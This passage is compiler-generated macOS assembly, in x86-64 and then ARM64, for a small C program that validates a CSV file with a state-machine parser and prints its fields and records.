## %bb.113: ## in Loop: Header=BB4_100 Depth=2
cmpb $34, %bl
jbe LBB4_114
jmp LBB4_116
.p2align 4, 0x90
LBB4_109: ## in Loop: Header=BB4_100 Depth=2
xorl %esi, %esi
cmpb $34, %bl
sete %sil
incl %esi
cmpb $34, %bl
ja LBB4_116
LBB4_114: ## in Loop: Header=BB4_100 Depth=2
movzbl %bl, %edi
btq %rdi, %r8
jb LBB4_115
jmp LBB4_116
LBB4_121: ## in Loop: Header=BB4_90 Depth=1
cmpb $34, %al
ja LBB4_124
## %bb.122: ## in Loop: Header=BB4_90 Depth=1
movzbl %al, %eax
btq %rax, %r8
jae LBB4_124
LBB4_123: ## in Loop: Header=BB4_90 Depth=1
movb $0, (%r12,%rcx)
LBB4_124: ## in Loop: Header=BB4_90 Depth=1
leaq -1(%r12), %rbx
.p2align 4, 0x90
LBB4_125: ## Parent Loop BB4_90 Depth=1
## => This Inner Loop Header: Depth=2
cmpb $0, 1(%rbx)
leaq 1(%rbx), %rbx
je LBB4_125
## %bb.126: ## in Loop: Header=BB4_90 Depth=1
movq -48(%rbp), %rax ## 8-byte Reload
movl (%rax), %eax
movq %rax, -56(%rbp) ## 8-byte Spill
testl %eax, %eax
jle LBB4_89
## %bb.127: ## in Loop: Header=BB4_90 Depth=1
movq -48(%rbp), %rax ## 8-byte Reload
movq 8(%rax), %rax
movq %rax, -72(%rbp) ## 8-byte Spill
xorl %r14d, %r14d
.p2align 4, 0x90
LBB4_128: ## Parent Loop BB4_90 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB4_133 Depth 3
movq %rbx, %rdi
callq _strlen
movq %rax, %r15
movq -72(%rbp), %rax ## 8-byte Reload
movq (%rax,%r14,8), %rax
movl 8(%rax), %eax
testl %eax, %eax
je LBB4_131
## %bb.129: ## in Loop: Header=BB4_128 Depth=2
cmpl $1, %eax
jne LBB4_132
## %bb.130: ## in Loop: Header=BB4_128 Depth=2
movq %r15, %r13
shlq $32, %r13
movabsq $4294967296, %rax ## imm = 0x100000000
addq %rax, %r13
sarq $32, %r13
movq %r13, %rdi
callq _malloc
movq -48(%rbp), %rcx ## 8-byte Reload
movq 24(%rcx), %rcx
movq (%rcx), %rdx
movq %rax, (%rdx,%r14,8)
movq (%rcx), %rax
movq (%rax,%r14,8), %rdi
movq %rbx, %rsi
movq %r13, %rdx
callq _strncpy
jmp LBB4_132
.p2align 4, 0x90
LBB4_131: ## in Loop: Header=BB4_128 Depth=2
movl $8, %edi
callq _malloc
movq -48(%rbp), %rcx ## 8-byte Reload
movq 24(%rcx), %r13
movq (%r13), %rcx
movq %rax, (%rcx,%r14,8)
movq %rbx, %rdi
callq _atof
movq (%r13), %rax
movq (%rax,%r14,8), %rax
movsd %xmm0, (%rax)
LBB4_132: ## in Loop: Header=BB4_128 Depth=2
movslq %r15d, %rax
addq %rax, %rbx
decq %rbx
.p2align 4, 0x90
LBB4_133: ## Parent Loop BB4_90 Depth=1
## Parent Loop BB4_128 Depth=2
## => This Inner Loop Header: Depth=3
cmpb $0, 1(%rbx)
leaq 1(%rbx), %rbx
je LBB4_133
## %bb.134: ## in Loop: Header=BB4_128 Depth=2
incq %r14
cmpq -56(%rbp), %r14 ## 8-byte Folded Reload
jne LBB4_128
jmp LBB4_89
LBB4_135:
movq -48(%rbp), %rbx ## 8-byte Reload
movq 16(%rbx), %rax
movq %rax, 24(%rbx)
movq %r15, %rdi
movq -88(%rbp), %rsi ## 8-byte Reload
xorl %edx, %edx
callq _fseek
movq %rbx, %rax
addq $56, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _debug ## @debug
.zerofill __DATA,__common,_debug,1,0
.globl _symbol_strings ## @symbol_strings
.zerofill __DATA,__common,_symbol_strings,8,3
.globl _state_strings ## @state_strings
.zerofill __DATA,__common,_state_strings,8,3
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "--noheader"
L_.str.1: ## @.str.1
.asciz "r"
L_.str.2: ## @.str.2
.asciz "%s: %s: %s\n"
L_.str.3: ## @.str.3
.asciz "Invalid CSV code.\n"
L_.str.5: ## @.str.5
.asciz "%d fields:\n"
L_.str.6: ## @.str.6
.asciz "%s: "
L_.str.7: ## @.str.7
.asciz "%s"
L_.str.8: ## @.str.8
.asciz "number"
L_.str.9: ## @.str.9
.asciz "string"
L_.str.10: ## @.str.10
.asciz "Record %d:\n"
L_.str.11: ## @.str.11
.asciz "%f\n"
L_.str.13: ## @.str.13
.asciz "Usage: %s filename.csv [--noheader]\n"
.section __TEXT,__const
l_.str.14: ## @.str.14
.asciz "x%d\000"
.section __TEXT,__cstring,cstring_literals
L_.str.15: ## @.str.15
.asciz "-------------------------------------------------------------------------------"
L_.str.16: ## @.str.16
.asciz "Current state: %s\n"
L_.str.17: ## @.str.17
.asciz "Input symbol: %c,0x%s%x\n"
L_.str.18: ## @.str.18
.asciz "0"
L_.str.19: ## @.str.19
.space 1
L_.str.20: ## @.str.20
.asciz "Current tape symbol: %s\n"
L_.str.21: ## @.str.21
.asciz "Error: Turing machine fall-though.\nIf you are seeing this message, it means that there is a possible set\nof Turing machine parameters that the programmer failed to account for.\nPlease notify Michael Warren a.k.a. Psycho Cod3r using the email address\nlisted on his GitHub.\n"
L_.str.22: ## @.str.22
.asciz "Next state: %s\n"
L_.str.23: ## @.str.23
.asciz "Next tape symbol: %s\n"
L_.str.24: ## @.str.24
.asciz "--------------------------------------------------------------------------------"
L_.str.25: ## @.str.25
.asciz "----------------------------------------"
L_.str.26: ## @.str.26
.asciz "--------------------"
L_str: ## @str
.asciz "CSV code is valid."
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _is_eof ; -- Begin function is_eof
.p2align 2
_is_eof: ; @is_eof
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _fgetc
cmn w0, #1
cset w20, eq
mov x1, x19
bl _ungetc
mov x0, x20
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x28, x27, [sp, #32] ; 16-byte Folded Spill
stp x26, x25, [sp, #48] ; 16-byte Folded Spill
stp x24, x23, [sp, #64] ; 16-byte Folded Spill
stp x22, x21, [sp, #80] ; 16-byte Folded Spill
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x21, x1
cmp w0, #2
b.lt LBB1_23
; %bb.1:
mov x20, #0
mov w8, w0
lsl x23, x8, #3
mov w22, #1
mov w24, #8
Lloh0:
adrp x19, l_.str@PAGE
Lloh1:
add x19, x19, l_.str@PAGEOFF
b LBB1_4
LBB1_2: ; in Loop: Header=BB1_4 Depth=1
mov x1, x19
bl _strcmp
cmp w0, #0
cset w8, ne
and w22, w8, w22
LBB1_3: ; in Loop: Header=BB1_4 Depth=1
add x24, x24, #8
cmp x23, x24
b.eq LBB1_6
LBB1_4: ; =>This Inner Loop Header: Depth=1
ldr x0, [x21, x24]
ldrb w8, [x0]
cmp w8, #45
b.eq LBB1_2
; %bb.5: ; in Loop: Header=BB1_4 Depth=1
mov x20, x0
b LBB1_3
LBB1_6:
cbz x20, LBB1_23
; %bb.7:
Lloh2:
adrp x1, l_.str.1@PAGE
Lloh3:
add x1, x1, l_.str.1@PAGEOFF
mov x0, x20
bl _fopen
cbz x0, LBB1_24
; %bb.8:
mov x19, x0
and w20, w22, #0x1
mov x1, x20
bl _validate
tbz w0, #0, LBB1_25
; %bb.9:
Lloh4:
adrp x0, l_str@PAGE
Lloh5:
add x0, x0, l_str@PAGEOFF
bl _puts
mov w0, #10
bl _putchar
str x19, [sp, #24] ; 8-byte Folded Spill
mov x0, x19
mov x1, x20
bl _read_table
mov x20, x0
ldr w24, [x0]
str x24, [sp]
Lloh6:
adrp x0, l_.str.5@PAGE
Lloh7:
add x0, x0, l_.str.5@PAGEOFF
bl _printf
cmp w24, #1
b.lt LBB1_12
; %bb.10:
Lloh8:
adrp x21, l_.str.6@PAGE
Lloh9:
add x21, x21, l_.str.6@PAGEOFF
Lloh10:
adrp x19, l_.str.9@PAGE
Lloh11:
add x19, x19, l_.str.9@PAGEOFF
ldr x23, [x20, #8]
Lloh12:
adrp x25, l_.str.8@PAGE
Lloh13:
add x25, x25, l_.str.8@PAGEOFF
mov x26, x24
Lloh14:
adrp x22, l_.str.7@PAGE
Lloh15:
add x22, x22, l_.str.7@PAGEOFF
LBB1_11: ; =>This Inner Loop Header: Depth=1
ldr x8, [x23]
ldr x8, [x8]
str x8, [sp]
mov x0, x21
bl _printf
ldr x8, [x23], #8
ldr w8, [x8, #8]
cmp w8, #0
csel x8, x25, x19, eq
str x8, [sp]
mov x0, x22
bl _printf
mov w0, #10
bl _putchar
subs x26, x26, #1
b.ne LBB1_11
LBB1_12:
mov w0, #10
bl _putchar
ldr x8, [x20, #24]
ldr x25, [x8, #8]
cbz x25, LBB1_22
; %bb.13:
lsl x26, x24, #3
mov w27, #1
Lloh16:
adrp x21, l_.str.10@PAGE
Lloh17:
add x21, x21, l_.str.10@PAGEOFF
Lloh18:
adrp x22, l_.str.6@PAGE
Lloh19:
add x22, x22, l_.str.6@PAGEOFF
Lloh20:
adrp x23, l_.str.11@PAGE
Lloh21:
add x23, x23, l_.str.11@PAGEOFF
b LBB1_15
LBB1_14: ; in Loop: Header=BB1_15 Depth=1
mov w0, #10
bl _putchar
add w27, w27, #1
ldr x25, [x25, #8]
cbz x25, LBB1_22
LBB1_15: ; =>This Loop Header: Depth=1
; Child Loop BB1_19 Depth 2
str x27, [sp]
mov x0, x21
bl _printf
cmp w24, #1
b.lt LBB1_14
; %bb.16: ; in Loop: Header=BB1_15 Depth=1
mov x28, #0
ldr x19, [x20, #8]
b LBB1_19
LBB1_17: ; in Loop: Header=BB1_19 Depth=2
ldr x8, [x25]
ldr x0, [x8, x28]
bl _puts
LBB1_18: ; in Loop: Header=BB1_19 Depth=2
add x28, x28, #8
cmp x26, x28
b.eq LBB1_14
LBB1_19: ; Parent Loop BB1_15 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [x19, x28]
ldr x8, [x8]
str x8, [sp]
mov x0, x22
bl _printf
ldr x8, [x19, x28]
ldr w8, [x8, #8]
cmp w8, #1
b.eq LBB1_17
; %bb.20: ; in Loop: Header=BB1_19 Depth=2
cbnz w8, LBB1_18
; %bb.21: ; in Loop: Header=BB1_19 Depth=2
ldr x8, [x25]
ldr x8, [x8, x28]
ldr d0, [x8]
str d0, [sp]
mov x0, x23
bl _printf
b LBB1_18
LBB1_22:
ldr x0, [sp, #24] ; 8-byte Folded Reload
bl _fclose
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
ldp x22, x21, [sp, #80] ; 16-byte Folded Reload
ldp x24, x23, [sp, #64] ; 16-byte Folded Reload
ldp x26, x25, [sp, #48] ; 16-byte Folded Reload
ldp x28, x27, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #128
ret
LBB1_23:
ldr x0, [x21]
bl _usage
bl _exit
LBB1_24:
Lloh22:
adrp x8, ___stderrp@GOTPAGE
Lloh23:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh24:
ldr x19, [x8]
ldr x21, [x21]
bl ___error
ldr w0, [x0]
bl _strerror
stp x20, x0, [sp, #8]
str x21, [sp]
Lloh25:
adrp x1, l_.str.2@PAGE
Lloh26:
add x1, x1, l_.str.2@PAGEOFF
mov x0, x19
bl _fprintf
bl ___error
ldr w0, [x0]
bl _exit
LBB1_25:
Lloh27:
adrp x8, ___stderrp@GOTPAGE
Lloh28:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh29:
ldr x3, [x8]
Lloh30:
adrp x0, l_.str.3@PAGE
Lloh31:
add x0, x0, l_.str.3@PAGEOFF
mov w1, #18
mov w2, #1
bl _fwrite
mov w0, #-1
bl _exit
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh20, Lloh21
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh25, Lloh26
.loh AdrpLdrGotLdr Lloh22, Lloh23, Lloh24
.loh AdrpAdd Lloh30, Lloh31
.loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29
.cfi_endproc
; -- End function
.globl _usage ; -- Begin function usage
.p2align 2
_usage: ; @usage
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp]
Lloh32:
adrp x0, l_.str.13@PAGE
Lloh33:
add x0, x0, l_.str.13@PAGEOFF
bl _printf
bl ___error
ldr w0, [x0]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.loh AdrpAdd Lloh32, Lloh33
.cfi_endproc
; -- End function
.globl _validate ; -- Begin function validate
.p2align 2
_validate: ; @validate
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x28, x27, [sp, #48] ; 16-byte Folded Spill
stp x26, x25, [sp, #64] ; 16-byte Folded Spill
stp x24, x23, [sp, #80] ; 16-byte Folded Spill
stp x22, x21, [sp, #96] ; 16-byte Folded Spill
stp x20, x19, [sp, #112] ; 16-byte Folded Spill
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
str w1, [sp, #44] ; 4-byte Folded Spill
mov x19, x0
bl _ftell
mov x21, x0
mov x0, x19
bl _rewind
mov w0, #1
mov w1, #24
bl _calloc
mov x22, x0
mov w8, #3
str w8, [x0]
adrp x20, _debug@PAGE
ldrb w8, [x20, _debug@PAGEOFF]
cbz w8, LBB3_2
; %bb.1:
Lloh34:
adrp x0, l_.str.15@PAGE
Lloh35:
add x0, x0, l_.str.15@PAGEOFF
bl _puts
LBB3_2:
mov x0, x19
bl _fgetc
cmn w0, #1
b.eq LBB3_116
; %bb.3:
mov x28, x0
str x21, [sp, #32] ; 8-byte Folded Spill
mov w24, #0
Lloh36:
adrp x21, _state_strings@PAGE
Lloh37:
add x21, x21, _state_strings@PAGEOFF
Lloh38:
adrp x23, _symbol_strings@PAGE
Lloh39:
add x23, x23, _symbol_strings@PAGEOFF
Lloh40:
adrp x26, l_.str.17@PAGE
Lloh41:
add x26, x26, l_.str.17@PAGEOFF
Lloh42:
adrp x27, l_.str.20@PAGE
Lloh43:
add x27, x27, l_.str.20@PAGEOFF
b LBB3_5
LBB3_4: ; in Loop: Header=BB3_5 Depth=1
mov x0, x19
bl _fgetc
mov x28, x0
mov x24, x25
cmn w0, #1
b.eq LBB3_113
LBB3_5: ; =>This Loop Header: Depth=1
; Child Loop BB3_15 Depth 2
; Child Loop BB3_71 Depth 2
ldrb w8, [x20, _debug@PAGEOFF]
cbz w8, LBB3_7
; %bb.6: ; in Loop: Header=BB3_5 Depth=1
ldr x8, [x21, w24, uxtw #3]
str x8, [sp]
Lloh44:
adrp x0, l_.str.16@PAGE
Lloh45:
add x0, x0, l_.str.16@PAGEOFF
bl _printf
cmp w28, #16
Lloh46:
adrp x8, l_.str.19@PAGE
Lloh47:
add x8, x8, l_.str.19@PAGEOFF
Lloh48:
adrp x9, l_.str.18@PAGE
Lloh49:
add x9, x9, l_.str.18@PAGEOFF
csel x8, x9, x8, lt
stp x8, x28, [sp, #8]
str x28, [sp]
mov x0, x26
bl _printf
ldr w8, [x22]
ldr x8, [x23, x8, lsl #3]
str x8, [sp]
mov x0, x27
bl _printf
LBB3_7: ; in Loop: Header=BB3_5 Depth=1
cmp w24, #2
b.eq LBB3_92
; %bb.8: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #13
b.eq LBB3_92
; %bb.9: ; in Loop: Header=BB3_5 Depth=1
ldr x8, [x22, #8]
cbnz x8, LBB3_11
; %bb.10: ; in Loop: Header=BB3_5 Depth=1
ldr w9, [x22]
sub w10, w9, #5
cmp w10, #3
b.hs LBB3_35
LBB3_11: ; in Loop: Header=BB3_5 Depth=1
cbz w24, LBB3_27
; %bb.12: ; in Loop: Header=BB3_5 Depth=1
cmp w24, #3
b.ne LBB3_21
; %bb.13: ; in Loop: Header=BB3_5 Depth=1
ldr w9, [x22]
cmp w9, #5
b.ne LBB3_21
; %bb.14: ; in Loop: Header=BB3_5 Depth=1
mov x8, x22
LBB3_15: ; Parent Loop BB3_5 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [x8, #16]
ldr w9, [x8]
cmp w9, #3
b.ne LBB3_15
; %bb.16: ; in Loop: Header=BB3_5 Depth=1
ldr x22, [x8, #8]
mov w9, #4
str w9, [x8]
sub w8, w28, #48
cmp w28, #45
b.eq LBB3_65
; %bb.17: ; in Loop: Header=BB3_5 Depth=1
cmp w8, #9
b.ls LBB3_65
; %bb.18: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #34
b.ne LBB3_84
; %bb.19: ; in Loop: Header=BB3_5 Depth=1
ldr w8, [x22]
cmp w8, #5
b.eq LBB3_78
; %bb.20: ; in Loop: Header=BB3_5 Depth=1
cmp w8, #2
b.eq LBB3_34
b LBB3_85
LBB3_21: ; in Loop: Header=BB3_5 Depth=1
mov w9, #0
LBB3_22: ; in Loop: Header=BB3_5 Depth=1
sub w10, w24, #4
cmp w28, #10
b.eq LBB3_41
; %bb.23: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #44
b.ne LBB3_44
; %bb.24: ; in Loop: Header=BB3_5 Depth=1
cmp w10, #5
b.hi LBB3_61
; %bb.25: ; in Loop: Header=BB3_5 Depth=1
Lloh50:
adrp x12, lJTI3_4@PAGE
Lloh51:
add x12, x12, lJTI3_4@PAGEOFF
adr x9, LBB3_26
ldrb w11, [x12, x10]
add x9, x9, x11, lsl #2
br x9
LBB3_26: ; in Loop: Header=BB3_5 Depth=1
ldr w9, [x22]
sub w9, w9, #5
cmp w9, #3
cset w9, lo
lsl w25, w9, #1
csel x22, x22, x8, lo
b LBB3_93
LBB3_27: ; in Loop: Header=BB3_5 Depth=1
ldr w9, [x22]
cmp w9, #5
b.eq LBB3_29
; %bb.28: ; in Loop: Header=BB3_5 Depth=1
cmp w9, #2
b.ne LBB3_60
LBB3_29: ; in Loop: Header=BB3_5 Depth=1
sub w8, w28, #48
cmp w28, #45
b.eq LBB3_57
; %bb.30: ; in Loop: Header=BB3_5 Depth=1
cmp w8, #9
b.ls LBB3_57
; %bb.31: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #34
b.ne LBB3_84
; %bb.32: ; in Loop: Header=BB3_5 Depth=1
cmp w9, #5
b.eq LBB3_78
; %bb.33: ; in Loop: Header=BB3_5 Depth=1
cmp w9, #2
b.ne LBB3_85
LBB3_34: ; in Loop: Header=BB3_5 Depth=1
str wzr, [x22]
mov w25, #8
b LBB3_93
LBB3_35: ; in Loop: Header=BB3_5 Depth=1
ldr w8, [sp, #44] ; 4-byte Folded Reload
cbz w8, LBB3_47
; %bb.36: ; in Loop: Header=BB3_5 Depth=1
cmp w24, #9
b.eq LBB3_79
; %bb.37: ; in Loop: Header=BB3_5 Depth=1
cmp w24, #8
b.eq LBB3_82
; %bb.38: ; in Loop: Header=BB3_5 Depth=1
cbnz w24, LBB3_92
; %bb.39: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #34
b.ne LBB3_84
; %bb.40: ; in Loop: Header=BB3_5 Depth=1
mov w0, #1
mov w1, #24
bl _calloc
str x0, [x22, #8]
str x22, [x0, #16]
mov w8, #2
str w8, [x0]
b LBB3_107
LBB3_41: ; in Loop: Header=BB3_5 Depth=1
cmp w10, #5
b.hi LBB3_61
; %bb.42: ; in Loop: Header=BB3_5 Depth=1
mov w24, #2
Lloh52:
adrp x11, lJTI3_3@PAGE
Lloh53:
add x11, x11, lJTI3_3@PAGEOFF
adr x8, LBB3_43
ldrb w9, [x11, x10]
add x8, x8, x9, lsl #2
br x8
LBB3_43: ; in Loop: Header=BB3_5 Depth=1
ldr w8, [x22]
and w8, w8, #0xfffffffe
cmp w8, #6
mov w8, #1
cinc w25, w8, ne
b LBB3_93
LBB3_44: ; in Loop: Header=BB3_5 Depth=1
cmp w10, #5
b.hi LBB3_61
; %bb.45: ; in Loop: Header=BB3_5 Depth=1
mov w25, #2
Lloh54:
adrp x11, lJTI3_5@PAGE
Lloh55:
add x11, x11, lJTI3_5@PAGEOFF
adr x8, LBB3_46
ldrb w9, [x11, x10]
add x8, x8, x9, lsl #2
br x8
LBB3_46: ; in Loop: Header=BB3_5 Depth=1
sub w8, w28, #48
cmp w8, #10
mov w8, #2
mov w9, #7
csel w25, w9, w8, lo
b LBB3_93
LBB3_47: ; in Loop: Header=BB3_5 Depth=1
cmp w9, #3
b.ne LBB3_49
; %bb.48: ; in Loop: Header=BB3_5 Depth=1
mov w9, #4
str w9, [x22]
LBB3_49: ; in Loop: Header=BB3_5 Depth=1
cbz w24, LBB3_76
; %bb.50: ; in Loop: Header=BB3_5 Depth=1
sub w8, w24, #4
cmp w28, #44
b.eq LBB3_86
; %bb.51: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #10
b.ne LBB3_88
; %bb.52: ; in Loop: Header=BB3_5 Depth=1
cmp w8, #5
b.hi LBB3_92
; %bb.53: ; in Loop: Header=BB3_5 Depth=1
mov w24, #2
Lloh56:
adrp x12, lJTI3_1@PAGE
Lloh57:
add x12, x12, lJTI3_1@PAGEOFF
adr x10, LBB3_46
ldrb w11, [x12, x8]
add x10, x10, x11, lsl #2
br x10
LBB3_54: ; in Loop: Header=BB3_5 Depth=1
cbz w9, LBB3_110
; %bb.55: ; in Loop: Header=BB3_5 Depth=1
cmp w9, #1
b.ne LBB3_112
; %bb.56: ; in Loop: Header=BB3_5 Depth=1
mov w8, #7
b LBB3_111
LBB3_57: ; in Loop: Header=BB3_5 Depth=1
cmp w9, #2
b.eq LBB3_66
LBB3_58: ; in Loop: Header=BB3_5 Depth=1
cmp w9, #5
b.ne LBB3_68
; %bb.59: ; in Loop: Header=BB3_5 Depth=1
mov w9, #7
b LBB3_67
LBB3_60: ; in Loop: Header=BB3_5 Depth=1
mov w9, #1
b LBB3_22
LBB3_61: ; in Loop: Header=BB3_5 Depth=1
cbz w9, LBB3_69
; %bb.62: ; in Loop: Header=BB3_5 Depth=1
ldr w8, [x22]
cmp w8, #7
b.hi LBB3_92
; %bb.63: ; in Loop: Header=BB3_5 Depth=1
Lloh58:
adrp x11, lJTI3_7@PAGE
Lloh59:
add x11, x11, lJTI3_7@PAGEOFF
adr x9, LBB3_64
ldrb w10, [x11, x8]
add x9, x9, x10, lsl #2
mov x25, x24
br x9
LBB3_64: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #34
mov w8, #2
mov w9, #8
csel w25, w9, w8, eq
b LBB3_93
LBB3_65: ; in Loop: Header=BB3_5 Depth=1
ldr w9, [x22]
cmp w9, #2
b.ne LBB3_58
LBB3_66: ; in Loop: Header=BB3_5 Depth=1
mov w9, #1
LBB3_67: ; in Loop: Header=BB3_5 Depth=1
str w9, [x22]
LBB3_68: ; in Loop: Header=BB3_5 Depth=1
cmp w8, #10
mov w8, #4
cinc w25, w8, lo
b LBB3_93
LBB3_69: ; in Loop: Header=BB3_5 Depth=1
cmp w24, #1
b.ne LBB3_124
; %bb.70: ; in Loop: Header=BB3_5 Depth=1
ldr w9, [x22]
cmp w9, #4
b.eq LBB3_73
LBB3_71: ; Parent Loop BB3_5 Depth=1
; => This Inner Loop Header: Depth=2
ldr x22, [x22, #16]
ldr w8, [x22]
cmp w8, #4
b.ne LBB3_71
; %bb.72: ; in Loop: Header=BB3_5 Depth=1
ldr x8, [x22, #8]
LBB3_73: ; in Loop: Header=BB3_5 Depth=1
ldr w9, [x8]
mov w25, #1
cmp w9, #7
b.hi LBB3_109
; %bb.74: ; in Loop: Header=BB3_5 Depth=1
Lloh60:
adrp x12, lJTI3_6@PAGE
Lloh61:
add x12, x12, lJTI3_6@PAGEOFF
adr x10, LBB3_75
ldrb w11, [x12, x9]
add x10, x10, x11, lsl #2
mov x22, x8
br x10
LBB3_75: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #34
mov w9, #2
mov w10, #8
csel w25, w10, w9, eq
mov x22, x8
b LBB3_93
LBB3_76: ; in Loop: Header=BB3_5 Depth=1
mov w0, #1
mov w1, #24
bl _calloc
str x0, [x22, #8]
str x22, [x0, #16]
sub w8, w28, #48
cmp w8, #9
b.hi LBB3_97
; %bb.77: ; in Loop: Header=BB3_5 Depth=1
mov w8, #1
str w8, [x0]
mov w25, #5
mov x22, x0
b LBB3_93
LBB3_78: ; in Loop: Header=BB3_5 Depth=1
mov w8, #6
str w8, [x22]
mov w25, #8
b LBB3_93
LBB3_79: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #44
b.eq LBB3_103
; %bb.80: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #10
b.ne LBB3_84
; %bb.81: ; in Loop: Header=BB3_5 Depth=1
mov w8, #5
str w8, [x22]
mov w25, #3
b LBB3_93
LBB3_82: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #34
b.eq LBB3_104
; %bb.83: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #10
b.ne LBB3_85
LBB3_84: ; in Loop: Header=BB3_5 Depth=1
mov w25, #2
b LBB3_93
LBB3_85: ; in Loop: Header=BB3_5 Depth=1
mov w25, #8
b LBB3_93
LBB3_86: ; in Loop: Header=BB3_5 Depth=1
cmp w8, #5
b.hi LBB3_92
; %bb.87: ; in Loop: Header=BB3_5 Depth=1
mov w25, #0
Lloh62:
adrp x11, lJTI3_0@PAGE
Lloh63:
add x11, x11, lJTI3_0@PAGEOFF
adr x9, LBB3_46
ldrb w10, [x11, x8]
add x9, x9, x10, lsl #2
br x9
LBB3_88: ; in Loop: Header=BB3_5 Depth=1
cmp w8, #5
b.hi LBB3_92
; %bb.89: ; in Loop: Header=BB3_5 Depth=1
mov w25, #2
Lloh64:
adrp x11, lJTI3_2@PAGE
Lloh65:
add x11, x11, lJTI3_2@PAGEOFF
adr x9, LBB3_46
ldrb w10, [x11, x8]
add x9, x9, x10, lsl #2
br x9
LBB3_90: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #46
b.ne LBB3_95
; %bb.91: ; in Loop: Header=BB3_5 Depth=1
mov w25, #6
b LBB3_93
LBB3_92: ; in Loop: Header=BB3_5 Depth=1
mov x25, x24
LBB3_93: ; in Loop: Header=BB3_5 Depth=1
ldrb w8, [x20, _debug@PAGEOFF]
cbz w8, LBB3_4
; %bb.94: ; in Loop: Header=BB3_5 Depth=1
ldr x8, [x21, w25, uxtw #3]
str x8, [sp]
Lloh66:
adrp x0, l_.str.22@PAGE
Lloh67:
add x0, x0, l_.str.22@PAGEOFF
bl _printf
ldr w8, [x22]
ldr x8, [x23, x8, lsl #3]
str x8, [sp]
Lloh68:
adrp x0, l_.str.23@PAGE
Lloh69:
add x0, x0, l_.str.23@PAGEOFF
bl _printf
mov w0, #10
bl _putchar
cmp w25, #0
Lloh70:
adrp x8, l_.str.26@PAGE
Lloh71:
add x8, x8, l_.str.26@PAGEOFF
Lloh72:
adrp x9, l_.str.25@PAGE
Lloh73:
add x9, x9, l_.str.25@PAGEOFF
csel x8, x9, x8, eq
cmp w25, #1
Lloh74:
adrp x9, l_.str.24@PAGE
Lloh75:
add x9, x9, l_.str.24@PAGEOFF
csel x0, x9, x8, eq
bl _puts
b LBB3_4
LBB3_95: ; in Loop: Header=BB3_5 Depth=1
sub w8, w28, #48
cmp w8, #10
mov w8, #5
mov w9, #2
csel w25, w8, w9, lo
b LBB3_93
LBB3_96: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #34
mov w8, #9
csel w25, w8, w24, eq
b LBB3_93
LBB3_97: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #34
b.eq LBB3_106
; %bb.98: ; in Loop: Header=BB3_5 Depth=1
cmp w28, #45
b.ne LBB3_108
; %bb.99: ; in Loop: Header=BB3_5 Depth=1
mov w8, #1
str w8, [x0]
